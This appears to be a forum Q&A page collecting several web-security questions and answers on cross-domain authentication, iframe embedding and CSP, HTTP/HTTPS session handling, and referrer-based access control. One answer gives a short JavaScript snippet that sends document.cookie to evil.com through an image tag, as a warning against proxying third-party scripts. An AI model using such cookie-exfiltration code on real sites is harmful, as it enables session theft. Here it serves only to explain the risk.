We have a requirement where we want to allow the Post Servlets only from certain domains. Our site is public so no user does not need to be authenticated, hence we are not able to control through CUG or using csrf-token. Is it possible to do something with Akamai or dispatcher where we block requests from other domain for a specific path. Also please keep in mind the the requests should not be hacked through Post man.
Related
We have a requirement to load an internally hosted angular UI from within an external partners secured website. We're using an OIDC auth flow calling to an internal IDP server to retrieve/validate the user tokens.
The problem is we are not able to make custom modifications to the internal IDP server's rules in order to allow the external partners domain as being valid for calling to from within an iframe (Content Security Policy).
This causes us to get an error related to invalid Content Security Policy as the external partners domain is not within the allowed domains list of the CSP. If we serve this UI in an iframe from within an internal company domain (allowed in the CSP) it works just fine.
Assuming we have to load our internal UI from within the partners website inline (iframe or other), and authenticate our users using an oauth pattern are there any viable solutions for this problem?
I understand the CSP and x-frame-option headers are set this way to avoid click-jacking security risks, so not sure what is being asked of us is possible while remaining secure. Initial thought is to possibly put a proxy service between the partners website and our UI and the proxy service will handle the authentication...bypassing the CSP rules...but does not necessarily seem secure, and not sure how to implement that even if so. Any thoughts or ideas would be welcomed. Thanks!
Proxying third-party scripts is a bad idea. Consider the script:
var Img = document.createElement("img");
Img.setAttribute('src', 'http://evil.com?cookie=' + document.cookie);
document.body.appendChild(Img);
Loaded from someone else's domain, the script will not have access to the document.cookie. But after proxying, the browser counts that the script is loaded from your domain, and will send cookies to the evil.com site.
Allowing your site to be embedded into iframe open doors to:
clickjacking: by placing an invisible frame, it allows you to perform actions on behalf of a visitor if he is logged at third-party site.
Phishing: in the case of an iframe, the user does not see the real URL in the address bar. Therefore, an attacker can load an iframe from his domain that looks like a third-party authorization site. Since visitor is not able to see this, he enter login/password at the attackers site.
third-party scripts access to some sensitive user's data such as: geolocation, camera, microphone, speaker, mobile device sensors (accelerometer, gyroscope, ambient-light-sensor, magnetometer, vibrate) etc. See Feature Policy / Permissions Policy how to restrict these.
For using your IDP server for autentificating user on third-party site, you MUST do redirect to your domain, autentificate user on your domainm and redirect user back to the third-party site. To keep auth a JWT token can be used or third-party site can set its own auth cookie. The referrer is used to return back to the partner's page where auth was started. Google's OAuth2 service works in this way.
It is not known what private/financial data your web application is dealing with, but it is unlikely that you want to be responsible for the actions of third parties by making a hole in the security system for them.
For an IoT deployment, I am looking to redirect requests to my custom domain to a different URL based on the source IP, i.e. I will have a small number of allowed clients with known public IPs hitting a URL - https://www.example.com, and each one needs redirecting to a unique URL. The target URL is not neccesarily a domain landing page, so I can't use anything DNS-based.
I would ideally want to use some kind of online API/service. It will be frequently reconfigured by a non-programmer user, so it needs to be as easy to configure as possible.
I've checked out URL redirecting services, load balancing services, and CDNs but I can't seem to find something that will redirect based on inspecting the source IP.
I have two web application. One is for centralized Image server.
Suppose they are a.com and b.com
b.com is for image server.
and a.com is where my application is hosted.
I have created a handler for images ob b.com which process the request and add watermark and send it back to a.aspx.
I am passing the path of the image (absolute like http://b.com/ImageHandler.ashx?id=imageurl) to the Handler on b.com
Now I am not able to authenticate the request on b.com
Now I am thinking about Handler which is on b.com
should be on a.com
because at a.com I can easily authenticate user.
for this purpose do I need the handler at both a.com and b.com
or is there is any way that I can authenticate the user at b.com.
which has session on a.com.
I can not access the database for each request at b.com because the number of request for the images is very big.
Hope I am able to explain my problem correctly.
You need to first evaluate whether it make sense to have image server under different domain. If its all about sharing the same code among multiple sites then you will be better off by putting you handler under site and sharing the relevant code via class library.
There can be legitimate reasons for having handler on different domain. For example, it might need different level of scaling, it might be resource-hungry and you want to isolate it to different machine (isolating to different app-pool is possible under same domain) or because of some licensing issue (you want to save processor based license cost of some library used by handler).
If there are going to be different domain then you can have them as sub-domains. For example - a.xyz.com and b.xyz.com. In such case, same authentication ticket (issued at parent domain i.e. xyz.com) will suffice for both. See domain property for Forms Authentication Cookie to control this.
You also need to ask if authentication make sense for your image handler. Do you want it to be open or restricted to certain users? If you want only authenticated users and you want to support multiple applications then you are looking at supporting user sets of multiple applications. If it's the same user set (e.g. active directory) then your job will be simpler - have a single authentication provider whose ticket will be trusted by your site and all other applications [Windows Authentication works on similar basis].
If its diverse set of users then it essentially means that for image server, you have multiple authentication providers that you need to trusted. You probably need to look at some Federated Identity system - see one such .NET based implementation discussed here: http://msdn.microsoft.com/en-us/magazine/ff872350.aspx
Maybe this helps:
http://msdn.microsoft.com/en-us/library/eb0zx8fc.aspx
Asp.net forms authentication and multiple domains
If this doesn't work for you you could pass some kind of encrypted token to b.com that b.com can validate to ensure the request is legit.
I would like to create web application with admin/checkout sections being secured. Assuming I have SSL set up for subdomain.mydomain.com I would like to make sure that all that top-secret stuff ;) like checkout pages and admin section is transferred securely. Would it be ok to structure my application as below?
subdomain.mydomain.com
adminSectionFolder
adminPage1.php
adminPage2.php
checkoutPagesFolder
checkoutPage1.php
checkoutPage2.php
checkoutPage3.php
homepage.php
loginPage.php
someOtherPage.php
someNonSecureFolder
nonSecurePage1.php
nonSecurePage2.php
nonSecurePage3.php
imagesFolder
image1.jpg
image2.jpg
image3.jpg
Users would access my web application via http as there is no need for SSL for homepage and similar. Checkout/admin pages would have to be accessed via https though (that I would ensure via .htaccess redirects). I would also like to have login form on every page of the site, including non-secure pages. Now my questions are:
if I have form on non-secure page e.g http://subdomain.mydomain.com/homepage.php and that form sends data to https://subdomain.mydomain.com/loginPage.php, is data being send encrypted as if it were sent from https://subdomain.mydomain.com/homepage.php? I do realize users will not see padlock, but browser still should encrypt it, is it right?
EDIT: my apologies.. above in bold I originally typed http but meant https, my bad
2.If on secure page loginPage.php (or any other accessed via https for that instance) I created session, session ID would be assigned, and in case of my web app. something like username of the logged in user. Would I be able to access these session variable from http://subdomain.mydomain.com/homepage.php to for example display greeting message? If session ID is stored in cookies then it would be trouble I assume, but could someone clarify how it should be done? It seems important to have username and password send over SSL.
3.Related to above question I think.. would it actually make any sense to have login secured via SSL so usenrame/password would be transferred securely, and then session ID being transferred with no SSL? I mean wouldnt it be the same really if someone caught username and password being transferred, or caught session ID? Please let me know if I make sense here cause it feels like I'm missing something important.
EDIT: I came up with idea but again please let me know if that would work. Having above, so assuming that sharing session between http and https is as secure as login in user via plain http (not https), I guess on all non secure pages, like homepage etc. I could check if user is already logged in, and if so from php redirect to https version of same page. So user fills in login form from homepage.php, over ssl details are send to backend so probably https://.../homepage.php. Trying to access http://.../someOtherPage.php script would always check if session is created and if so redirect user to https version of this page so https://.../someOtherPage.php. Would that work?
4.To avoid browser popping message "this page contains non secure items..." my links to css, images and all assets, e.g. in case of http://subdomain.mydomain.com/checkoutPage1.php should be absolute so "/images/image1.jpg" or relative so "../images/image1.jpg"? I guess one of those would have to work :)
wow that's long post, thanks for your patience if you got that far and any answers :) oh yeh and I use php/apache on shared hosting
If the SSL termination is on the webserver itself, then you'll probably need to configure seperate document roots for the secure and non-secure parts - while you could specify that these both reference the same physical directory, you're going to get tied in knots switching between the parts. Similarly if your SSL termination is before the webserver you've got no systematic separation of the secure and non-secure parts.
Its a lot tidier to separate out the secure and non-secure parts into seperate trees - note that if you have non-SSL content on a secure page, the users will get warning messages.
Regards your specific questions
NO - whether data is encrypted depends on where it is GOING TO, not where it is coming from
YES - but only if you DO NOT set the secure_only cookie flag - note that if you follow my recommendations above, you also need to ensure that the cookie path is set to '/'
the page which processes the username and password MUST be secure. If not then you are exposing your clients authentication details (most people use the same password for all the sites they visit) and anyone running a network sniffer or proxy would have access.
Your EDIT left me a bit confused. SSL is computationally expensive and slow - so you want to minimise its use - but you need to balance this with your users perception of security - don't keep switching from SSL to non-SSL, and although its perfectly secure for users to enter their details on a page served up by non-SSL which sends to a SSL page, the users may not understand this distinction.
See the first part of my answer above.
C.
We have a scenario whereby we are hosting an ASP.NET MVC web site on behalf of someone else.
The customer in this case wants us to restrict access to the web site, to those users who have logged in to their main portal. They should then only be able to get to our web site via a link from that portal.
At this point I'm not yet sure what technology or authentication mechanism the 3rd party are using but just wanted to clarify what the possible options might be.
If we call our hosted site B, and their portal web site A,as I see it we could:
Check the referrer for all requests to B, unless they've come from A they can't get in
Check for a specific cookie (assuming A uses cookies)
I'm sure there are other options, anyone any ideas?
Check the referrer for all requests to B, unless they've come from A they can't get in
Can be faked, but most normal users won't do it.
Check for a specific cookie (assuming A uses cookies)
Ask them to embed in their portal some code portion from your site. This way visiting their portal will resulting in you setting a cookie for your domain. Then you can easily read it later.
One more thing to mention. If you're talking about public sites, then it will suffice for a search engine to somehow discover these hidden urls once, after which the game is over. It will index the pages and keep a cache of it. You may want to consider including some noindex/nocache meta tags in these pages.
But seriously, if you wish to have it done properly and secure, you're going to need some form of shared user authentication that that portal and your site both support.
The solutions you have posted are not secure.
In case this is an enterprise application with real requirements for security, you may want to look at some single sign-on solutions.
List of single sign-on implementations